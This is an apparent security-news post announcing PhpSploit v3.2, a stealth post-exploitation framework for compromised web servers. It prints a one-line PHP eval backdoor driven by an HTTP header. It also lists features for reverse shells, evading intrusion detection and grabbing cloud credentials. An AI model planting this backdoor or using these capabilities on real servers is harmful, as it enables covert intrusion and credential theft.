phpsploit v3.2 releases: Stealth post-exploitation framework

by do son · Published January 8, 2019 · Updated November 4, 2024

PhpSploit is a remote control framework, aiming to provide a stealth interactive shell-like connection over HTTP between client and web server. It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes.

Overview

The obfuscated communication is accomplished using HTTP headers under standard client requests and web server’s relative responses, tunnelled through a tiny polymorphic backdoor:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Features

Efficient: More than 20 plugins to automate post-exploitation tasks
- Run commands and browse filesystem, bypassing PHP security restrictions
- Upload/Download files between client and target
- Edit remote files through local text editor
- Run SQL console on target system
- Spawn reverse TCP shells
Stealth: The framework is made by paranoids, for paranoids
- Nearly invisible by log analysis and NIDS signature detection
- Safe-mode and common PHP security restrictions bypass
- Communications are hidden in HTTP Headers
- Loaded payloads are obfuscated to bypass NIDS
- http/https/socks4/socks5 Proxy support
Convenient: A robust interface with many crucial features
- Detailed help for any command or option (type help)
- Cross-platform on both the client and the server.
- Powerful interface with completion and multi-command support
- Session saving/loading feature & persistent history
- Multi-request support for large payloads (such as uploads)
- Provides a powerful, highly configurable settings engine
- Each setting, such as user-agent has a polymorphic mode
- Customisable environment variables for plugin interaction
- Provides a complete plugin development API

Changelog v3.2

Improvements:

add bannergrab plugin: scan internal ports & grab TCP banners (8f3af80)
add cloudcredgrab plugin: cloud credentials hunter/grabber (45f516b)
add proclist: show process list on windows without command execution (71a3b23)
remove unused vars: env.PORT & session.Cache (#71, #102)
update pygments depencency to newest version (5d3f4c5)